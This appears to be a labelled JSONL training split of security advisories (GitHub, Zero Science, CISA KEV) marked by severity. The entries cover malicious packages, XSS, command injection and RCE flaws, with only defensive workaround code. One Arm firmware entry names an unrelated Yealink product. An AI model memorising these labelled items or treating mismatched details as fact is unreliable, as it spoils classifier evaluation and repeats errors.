-{"id": "9518b938198cc0aa0c29", "text": "Malicious Package in secure_identity_login_module\n\nAll versions of `secure_identity_login_module` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in secure_identity_login_module\n\n[Severity: CRITICAL]\n\nAll versions of `secure_identity_login_module` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "dbc7fd166e7fa31d6d4c", "text": "Android WebView Universal Cross-site Scripting\n\nA universal cross-site scripting (UXSS) vulnerability, CVE-2020-6506 (https://crbug.com/1083819), has been identified in the Android WebView system component, which allows cross-origin iframes to execute arbitrary JavaScript in the top-level document. This vulnerability affects React Native apps which use a `react-native-webview` that allows navigation to arbitrary URLs, and when that app runs on systems with an Android WebView version prior to 83.0.4103.106.\n\n## Pending mitigation\n\nEnsure users update their Android WebView system component via the Google Play Store to 83.0.4103.106 or higher to avoid this UXSS. 'react-native-webview' is working on a mitigation but it could take some time.\n\n### References\n\nhttps://alesandroortiz.com/articles/uxss-android-webview-cve-2020-6506/", "text_raw": "Android WebView Universal Cross-site Scripting\n\n[Severity: MEDIUM]\n\nA universal cross-site scripting (UXSS) vulnerability, CVE-2020-6506 (https://crbug.com/1083819), has been identified in the Android WebView system component, which allows cross-origin iframes to execute arbitrary JavaScript in the top-level document. This vulnerability affects React Native apps which use a `react-native-webview` that allows navigation to arbitrary URLs, and when that app runs on systems with an Android WebView version prior to 83.0.4103.106.\n\n## Pending mitigation\n\nEnsure users update their Android WebView system component via the Google Play Store to 83.0.4103.106 or higher to avoid this UXSS. 'react-native-webview' is working on a mitigation but it could take some time.\n\n### References\n\nhttps://alesandroortiz.com/articles/uxss-android-webview-cve-2020-6506/\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-02", "split": "train"}
-{"id": "1de29419cbb47a7b04fe", "text": "In environments that use external location for hive tables, Hive Authorizer in Apache Ranger before 0.7.1 should be checking RWX permission for create table.", "text_raw": "Moderate severity vulnerability that affects org.apache.ranger:ranger\n\n[Severity: MEDIUM]\n\nIn environments that use external location for hive tables, Hive Authorizer in Apache Ranger before 0.7.1 should be checking RWX permission for create table.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "6a7b549a63604d04123f", "text": "XSS in Django\n\nAn issue was discovered in Django version 2.2 before 2.2.13 and 3.0 before 3.0.7. Query parameters generated by the Django admin ForeignKeyRawIdWidget were not properly URL encoded, leading to a possibility of an XSS attack.", "text_raw": "XSS in Django\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Django version 2.2 before 2.2.13 and 3.0 before 3.0.7. Query parameters generated by the Django admin ForeignKeyRawIdWidget were not properly URL encoded, leading to a possibility of an XSS attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "9c52f6be05db044ed7c4", "text": "Cross-site scripting vulnerability in TinyMCE\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the core parser. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.10 or lower and TinyMCE 5.4.0 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 4.9.11 and 5.4.1 by improved HTML parsing and sanitization logic.\n\n### Workarounds\nThe workarounds available are:\n- upgrade to either TinyMCE 4.9.11 or TinyMCE 5.4.1\nor\n- enable the media plugin, which overrides the default parsing behaviour for iframes\nor\n- add the following workaround to update the parsing schema rules for iframes:\n\n#### Example: Change the default schema for iframes\n```js\nsetup: function(editor) {\n  editor.on('PreInit', function() {\n    editor.schema.getSpecialElements()['iframe'] = /</iframe[^>]*>/gi;\n  });\n}\n```\n\n### Acknowledgements\nTiny Technologies would like to thank George Steketee and Chris Davis at [Bishop Fox](https://www.bishopfox.com/) for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes54/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "text_raw": "Cross-site scripting vulnerability in TinyMCE\n\n[Severity: MEDIUM]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in the core parser. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.10 or lower and TinyMCE 5.4.0 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 4.9.11 and 5.4.1 by improved HTML parsing and sanitization logic.\n\n### Workarounds\nThe workarounds available are:\n- upgrade to either TinyMCE 4.9.11 or TinyMCE 5.4.1\nor\n- enable the media plugin, which overrides the default parsing behaviour for iframes\nor\n- add the following workaround to update the parsing schema rules for iframes:\n\n#### Example: Change the default schema for iframes\n```js\nsetup: function(editor) {\n  editor.on('PreInit', function() {\n    editor.schema.getSpecialElements()['iframe'] = /</iframe[^>]*>/gi;\n  });\n}\n```\n\n### Acknowledgements\nTiny Technologies would like to thank George Steketee and Chris Davis at [Bishop Fox](https://www.bishopfox.com/) for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes54/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-11", "split": "train"}
-{"id": "5c3f758b2b4dbe1b550d", "text": "Malicious Package in buffer-xop\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xop\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7ee4605cf8c7050f0bfa", "text": "Improper Certificate Validation in Apache Airflow\n\nThe LDAP auth backend (airflow.contrib.auth.backends.ldap_auth) prior to Apache Airflow 1.10.1 was misconfigured and contained improper checking of exceptions which disabled server certificate checking.", "text_raw": "Improper Certificate Validation in Apache Airflow\n\n[Severity: HIGH]\n\nThe LDAP auth backend (airflow.contrib.auth.backends.ldap_auth) prior to Apache Airflow 1.10.1 was misconfigured and contained improper checking of exceptions which disabled server certificate checking.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-01-25", "split": "train"}
-{"id": "74b70445a1d0f2c098c8", "text": "Path traversal in librenms/librenms\n\nLibrenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php.", "text_raw": "Path traversal in librenms/librenms\n\n[Severity: CRITICAL]\n\nLibrenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "acf41c067e72c352b581", "text": "Regular Expression Denial of Service in slug\n\nAffected versions of `slug` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\nAbout 50k characters can block the event loop for 2 seconds.\n\n## Recommendation\n\nUpdate to version 0.9.2 or later.", "text_raw": "Regular Expression Denial of Service in slug\n\n[Severity: MEDIUM]\n\nAffected versions of `slug` are vulnerable to a regular expression denial of service when parsing untrusted user input.\n\nThe issue is low severity, as it takes 50,000 characters to cause the event loop to block for 2 seconds,\n\nAbout 50k characters can block the event loop for 2 seconds.\n\n\n## Recommendation\n\nUpdate to version 0.9.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "dd9330c09757068501de", "text": "rails-html-sanitizer Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an HTML entity that is mishandled by the `Rails::Html::FullSanitizer` class.", "text_raw": "rails-html-sanitizer Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem 1.0.2 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via an HTML entity that is mishandled by the `Rails::Html::FullSanitizer` class.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "27cb02c9c408dc0dd92d", "text": "Command Injection in kill-port\n\nVersions of `kill-port` prior to 1.3.2 are vulnerable to Command Injection. The package does not validate user input on the `kill` function. This may allow attackers to run arbitrary commands in the system if user input (such as the port number) is passed directly to the function.\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.", "text_raw": "Command Injection in kill-port\n\n[Severity: HIGH]\n\nVersions of `kill-port` prior to 1.3.2 are vulnerable to Command Injection. The package does not validate user input on the `kill` function. This may allow attackers to run arbitrary commands in the system if user input (such as the port number) is passed directly to the function.\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "bf22f08637b69a1e8709", "text": "confinit vulnerable to prototype pollution\n\nconfinit through 0.3.0 is vulnerable to Prototype Pollution.The 'setDeepProperty' function could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "text_raw": "confinit vulnerable to prototype pollution\n\n[Severity: MEDIUM]\n\nconfinit through 0.3.0 is vulnerable to Prototype Pollution.The 'setDeepProperty' function could be tricked into adding or modifying properties of 'Object.prototype' using a '__proto__' payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-07", "split": "train"}
-{"id": "ac47ea29fb1fef647537", "text": "Arbitrary Code Execution in handlebars\n\nVersions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.", "text_raw": "Arbitrary Code Execution in handlebars\n\n[Severity: HIGH]\n\nVersions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "5854a45b40fbf60ba648", "text": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Unauthenticated RTSP Stream Disclosure", "text_raw": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Unauthenticated RTSP Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-02-04", "split": "train"}
-{"id": "44f8e12c3b724940370d", "text": "ESTsoft ALPlayer 2.0 ASX Playlist File Handling Buffer Overflow Vulnerability", "text_raw": "ESTsoft ALPlayer 2.0 ASX Playlist File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-07-06", "split": "train"}
-{"id": "28bed1e4c6d3c9e733a9", "text": "Arm Trusted Firmware Out-of-Bounds Write Vulnerability\n\nAffected: Arm Trusted Firmware\n\nArm Trusted Firmware contains an out-of-bounds write vulnerability allowing the non-secure (NS) world to trigger a system halt, overwrite secure data, or print out secure data when calling secure functions under the non-secure processing environment (NSPE) handler mode. This vulnerability affects Yealink Device Management servers.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Arm Trusted Firmware Out-of-Bounds Write Vulnerability\n\nAffected: Arm Trusted Firmware\n\nArm Trusted Firmware contains an out-of-bounds write vulnerability allowing the non-secure (NS) world to trigger a system halt, overwrite secure data, or print out secure data when calling secure functions under the non-secure processing environment (NSPE) handler mode. This vulnerability affects Yealink Device Management servers.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9029e081c23842869ed8", "text": "Command Injection in ungit\n\nVersions of `ungit` prior to 0.9.0 are affected by a command injection vulnerability in the `url` parameter.\n\n## Recommendation\n\nUpdate version 0.9.0 or later.", "text_raw": "Command Injection in ungit\n\n[Severity: CRITICAL]\n\nVersions of `ungit` prior to 0.9.0 are affected by a command injection vulnerability in the `url` parameter.\n\n\n## Recommendation\n\nUpdate version 0.9.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "c66e47a476ab79316580", "text": "TomatoCart 1.0.1 (json.php) Remote Cross-Site Scripting Vulnerability", "text_raw": "TomatoCart 1.0.1 (json.php) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-10-06", "split": "train"}
-{"id": "2216710caa298892deee", "text": "Cross-Site Scripting bypass in html-purify\n\nAll versions of html-purify are vulnerable to cross-site scripting. The data attribute inside of object tags is not properly sanitized and allows javascript URIs leading to code execution.\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting bypass in html-purify\n\n[Severity: HIGH]\n\nAll versions of html-purify are vulnerable to cross-site scripting. The data attribute inside of object tags is not properly sanitized and allows javascript URIs leading to code execution.\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-04", "split": "train"}
-{"id": "1e7279790b94a835868a", "text": "Microsoft Windows Media Center Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Media Center contains a remote code execution vulnerability when Windows Media Center opens a specially crafted Media Center link (.mcl) file that references malicious code.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Media Center Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Media Center contains a remote code execution vulnerability when Windows Media Center opens a specially crafted Media Center link (.mcl) file that references malicious code.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "75f49213c6b30d5315c3", "text": "Electronic Arts Origin Client 9.5.5 Multiple Privilege Escalation Vulnerabilities", "text_raw": "Electronic Arts Origin Client 9.5.5 Multiple Privilege Escalation Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-02-26", "split": "train"}
-{"id": "35bba5636dfe82c6c073", "text": "Remote code execution via the `pretty` option.\n\n### Impact\n\nIf a remote attacker was able to control the `pretty` option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.\n\n### Patches\n\nUpgrade to `pug@3.0.1` or `pug-code-gen@3.0.2` or `pug-code-gen@2.0.3`, which correctly sanitise the parameter.\n\n### Workarounds\n\nIf there is no way for un-trusted input to be passed to pug as the `pretty` option, e.g. if you compile templates in advance before applying user input to them, you do not need to upgrade.\n\n### References\n\nOriginal report: https://github.com/pugjs/pug/issues/3312\n\n### For more information\n\nIf you believe you have found other vulnerabilities, please **DO NOT** open an issue. Instead, you can follow the instructions in our [Security Policy](https://github.com/pugjs/pug/blob/master/SECURITY.md)", "text_raw": "Remote code execution via the `pretty` option.\n\n[Severity: MEDIUM]\n\n### Impact\n\nIf a remote attacker was able to control the `pretty` option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.\n\n### Patches\n\nUpgrade to `pug@3.0.1` or `pug-code-gen@3.0.2` or `pug-code-gen@2.0.3`, which correctly sanitise the parameter.\n\n### Workarounds\n\nIf there is no way for un-trusted input to be passed to pug as the `pretty` option, e.g. if you compile templates in advance before applying user input to them, you do not need to upgrade.\n\n### References\n\n\nOriginal report: https://github.com/pugjs/pug/issues/3312\n\n### For more information\n\nIf you believe you have found other vulnerabilities, please **DO NOT** open an issue. Instead, you can follow the instructions in our [Security Policy](https://github.com/pugjs/pug/blob/master/SECURITY.md)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-03", "split": "train"}
-{"id": "655029728b36f9e607d8", "text": "grunt-gh-pages before 0.10.0 may allow unencrypted GitHub credentials to be written to a log file\n\nVersions of `grunt-gh-pages` prior to 0.10.0 are affected by a vulnerability which may cause unencrypted GitHub credentials to be written to a log file in certain circumstances.\n\nIn the `grunt-gh-pages` deployment scenario where authentication is performed by injecting a GitHub token directly into the auth portion of the URL, `grunt-gh-pages` will write the token to a log file, unencrypted.\n\n## Recommendation\n\nUpdate to version 0.10.0 or later.", "text_raw": "grunt-gh-pages before 0.10.0 may allow unencrypted GitHub credentials to be written to a log file\n\n[Severity: MEDIUM]\n\nVersions of `grunt-gh-pages` prior to 0.10.0 are affected by a vulnerability which may cause unencrypted GitHub credentials to be written to a log file in certain circumstances.\n\nIn the `grunt-gh-pages` deployment scenario where authentication is performed by injecting a GitHub token directly into the auth portion of the URL, `grunt-gh-pages` will write the token to a log file, unencrypted.\n\n\n## Recommendation\n\nUpdate to version 0.10.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "e43647eef7f16c463f06", "text": "Arbitrary command execution on Windows via qutebrowserurl: URL handler\n\n### Impact\nStarting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers it as a handler for certain URL schemes. With some applications such as Outlook Desktop, opening a specially crafted URL can lead to argument injection, allowing execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as `:spawn` or `:debug-pyeval`.\n\nOnly Windows installs where qutebrowser is registered as URL handler are affected. It does *not* have to be set as default browser for the exploit to work.\n\n### Patches\nThe issue has been fixed in [qutebrowser v2.4.0](https://github.com/qutebrowser/qutebrowser/releases/tag/v2.4.0) in commit 8f46ba3f6dc7b18375f7aa63c48a1fe461190430.\n\nThe fix also adds additional hardening for potential similar issues on Linux (by adding the new `--untrusted-args` flag to the `.desktop` file), though no such vulnerabilities are known.\n\nBackported patches for older versions are available, but no further releases are planned:\n\n- v1.7.x: d1ceaab\n- v1.8.x: ca7155d\n- v1.9.x: 157d871\n- v1.10.x: 94a6125\n- v1.11.x: 10acfbb\n- v1.12.x: 363a18f\n- v1.13.x: 410f262\n- v1.14.x: e4f4d93\n- v2.0.x: 15a1654\n- v2.1.x: 509ddf2\n- v2.2.x: 03dcba5\n- v2.3.x: 00a694c\n\n(commits are referring to qutebrowser/qutebrowser on GitHub)\n\n### Workarounds\nRemove qutebrowser from the default browser settings entirely, so that it does not handle any kind of URLs. Make sure to remove *all* handlers, including an (accidental) `qutebrowserURL` handler, e.g. using [NirSoft URLProtocolView](https://www.nirsoft.net/utils/url_protocol_view.html).\n\n### Timeline\n2021-10-15: Issue reported via security@qutebrowser.org by Ping Fan (Zetta) Ke of [Valkyrie-X Security Research Group (VXRL)](https://www.vxrl.hk/)\n2021-10-15: Issue confirmed by @The-Compiler (lead developer), author of installer (@bitraid) contacted for help/review\n2021-10-15: CVE assigned by GitHub\n2021-10-15 to 2021-10-17: Fix developed\n2021-10-17: Additional core developer (@toofar) contacted for help/review\n2021-10-21: v2.4.0 released containing the fix\n2021-10-21: Advisory and fix published\n\n### References\nSee the [commit message](https://github.com/qutebrowser/qutebrowser/commit/8f46ba3f6dc7b18375f7aa63c48a1fe461190430) for additional information and references to various similar issues in other projects.\n\n### Acknowledgements\nThanks to Ping Fan (Zetta) Ke of [Valkyrie-X Security Research Group](https://www.vxrl.hk/) (VXRL/@vxresearch) for finding and responsibly disclosing this issue.\n\n### Contact\nIf you have any questions or comments about this advisory, please email [security@qutebrowser.org](mailto:security@qutebrowser.org).", "text_raw": "Arbitrary command execution on Windows via qutebrowserurl: URL handler\n\n[Severity: HIGH]\n\n### Impact\nStarting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers it as a handler for certain URL schemes. With some applications such as Outlook Desktop, opening a specially crafted URL can lead to argument injection, allowing execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as `:spawn` or `:debug-pyeval`.\n\nOnly Windows installs where qutebrowser is registered as URL handler are affected. It does *not* have to be set as default browser for the exploit to work.\n\n### Patches\nThe issue has been fixed in [qutebrowser v2.4.0](https://github.com/qutebrowser/qutebrowser/releases/tag/v2.4.0) in commit 8f46ba3f6dc7b18375f7aa63c48a1fe461190430.\n\nThe fix also adds additional hardening for potential similar issues on Linux (by adding the new `--untrusted-args` flag to the `.desktop` file), though no such vulnerabilities are known.\n\nBackported patches for older versions are available, but no further releases are planned:\n\n- v1.7.x: d1ceaab\n- v1.8.x: ca7155d\n- v1.9.x: 157d871\n- v1.10.x: 94a6125\n- v1.11.x: 10acfbb\n- v1.12.x: 363a18f\n- v1.13.x: 410f262\n- v1.14.x: e4f4d93\n- v2.0.x: 15a1654\n- v2.1.x: 509ddf2\n- v2.2.x: 03dcba5\n- v2.3.x: 00a694c\n\n(commits are referring to qutebrowser/qutebrowser on GitHub)\n\n### Workarounds\nRemove qutebrowser from the default browser settings entirely, so that it does not handle any kind of URLs. Make sure to remove *all* handlers, including an (accidental) `qutebrowserURL` handler, e.g. using [NirSoft URLProtocolView](https://www.nirsoft.net/utils/url_protocol_view.html).\n\n### Timeline\n2021-10-15: Issue reported via security@qutebrowser.org by Ping Fan (Zetta) Ke of [Valkyrie-X Security Research Group (VXRL)](https://www.vxrl.hk/)\n2021-10-15: Issue confirmed by @The-Compiler (lead developer), author of installer (@bitraid) contacted for help/review\n2021-10-15: CVE assigned by GitHub\n2021-10-15 to 2021-10-17: Fix developed\n2021-10-17: Additional core developer (@toofar) contacted for help/review\n2021-10-21: v2.4.0 released containing the fix\n2021-10-21: Advisory and fix published\n\n### References\nSee the [commit message](https://github.com/qutebrowser/qutebrowser/commit/8f46ba3f6dc7b18375f7aa63c48a1fe461190430) for additional information and references to various similar issues in other projects.\n\n### Acknowledgements\nThanks to Ping Fan (Zetta) Ke of [Valkyrie-X Security Research Group](https://www.vxrl.hk/) (VXRL/@vxresearch) for finding and responsibly disclosing this issue.\n\n### Contact\nIf you have any questions or comments about this advisory, please email [security@qutebrowser.org](mailto:security@qutebrowser.org).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-22", "split": "train"}
-{"id": "67b2fe47f648a421a604", "text": "Downloads Resources over HTTP in ntfserver\n\nAffected versions of `ntfserver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `ntfserver`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in ntfserver\n\n[Severity: HIGH]\n\nAffected versions of `ntfserver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `ntfserver`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "1f13c69752fed14bb72f", "text": "Ivanti Pulse Connect Secure Collaboration Suite Buffer Overflow Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure Collaboration Suite contains a buffer overflow vulnerabilities that allows a remote authenticated users to execute code as the root user via maliciously crafted meeting room.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Collaboration Suite Buffer Overflow Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure Collaboration Suite contains a buffer overflow vulnerabilities that allows a remote authenticated users to execute code as the root user via maliciously crafted meeting room.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-94\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "8e460df976d71c929f06", "text": "Data races in hashconsing\n\nAffected versions of hashconsing implements Send/Sync for its HConsed type without restricting it to Sendable types and Syncable types. This allows non-Sync types such as Cell to be shared across threads leading to undefined behavior and memory corruption in concurrent programs.", "text_raw": "Data races in hashconsing\n\n[Severity: HIGH]\n\nAffected versions of hashconsing implements Send/Sync for its HConsed type without restricting it to Sendable types and Syncable types. This allows non-Sync types such as Cell to be shared across threads leading to undefined behavior and memory corruption in concurrent programs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "43f1dbde594c061fe034", "text": "ImageMagick Arbitrary File Deletion Vulnerability\n\nAffected: ImageMagick ImageMagick\n\nImageMagick contains an unspecified vulnerability that could allow users to delete files by using ImageMagick's 'ephemeral' pseudo protocol, which deletes files after reading.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "ImageMagick Arbitrary File Deletion Vulnerability\n\nAffected: ImageMagick ImageMagick\n\nImageMagick contains an unspecified vulnerability that could allow users to delete files by using ImageMagick's 'ephemeral' pseudo protocol, which deletes files after reading.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-284\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5485f4b6090855469573", "text": "Cross-Site Scripting in Kaminari\n\n### Impact\nIn Kaminari before 1.2.1, there is a vulnerability that would allow an attacker to inject arbitrary code into pages with pagination links. This has been fixed in 1.2.1.\n\n### Releases\nThe 1.2.1 gem including the patch has already been released.\nAll past released versions are affected by this vulnerability.\n\n### Workarounds\nApplication developers who can't update the gem can workaround by overriding the `PARAM_KEY_EXCEPT_LIST` constant.\n\n```ruby\nmodule Kaminari::Helpers\n  PARAM_KEY_EXCEPT_LIST = [:authenticity_token, :commit, :utf8, :_method, :script_name, :original_script_name].freeze\nend\n```\n\n### Credits\nThanks to Daniel Mircea for finding the issue and sending a patch via GitHub. Also thanks to Aditya Prakash for reporting the vulnerability.", "text_raw": "Cross-Site Scripting in Kaminari\n\n[Severity: MEDIUM]\n\n### Impact\nIn Kaminari before 1.2.1, there is a vulnerability that would allow an attacker to inject arbitrary code into pages with pagination links. This has been fixed in 1.2.1.\n\n### Releases\nThe 1.2.1 gem including the patch has already been released.\nAll past released versions are affected by this vulnerability.\n\n### Workarounds\nApplication developers who can't update the gem can workaround by overriding the `PARAM_KEY_EXCEPT_LIST` constant.\n\n```ruby\nmodule Kaminari::Helpers\n  PARAM_KEY_EXCEPT_LIST = [:authenticity_token, :commit, :utf8, :_method, :script_name, :original_script_name].freeze\nend\n```\n\n### Credits\nThanks to Daniel Mircea for finding the issue and sending a patch via GitHub. Also thanks to Aditya Prakash for reporting the vulnerability.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-28", "split": "train"}
-{"id": "7509b56a3e327f8a81c7", "text": "Huawei Technologies eSpace Meeting Service 1.0.0.23 Local Privilege Escalation", "text_raw": "Huawei Technologies eSpace Meeting Service 1.0.0.23 Local Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-03-10", "split": "train"}
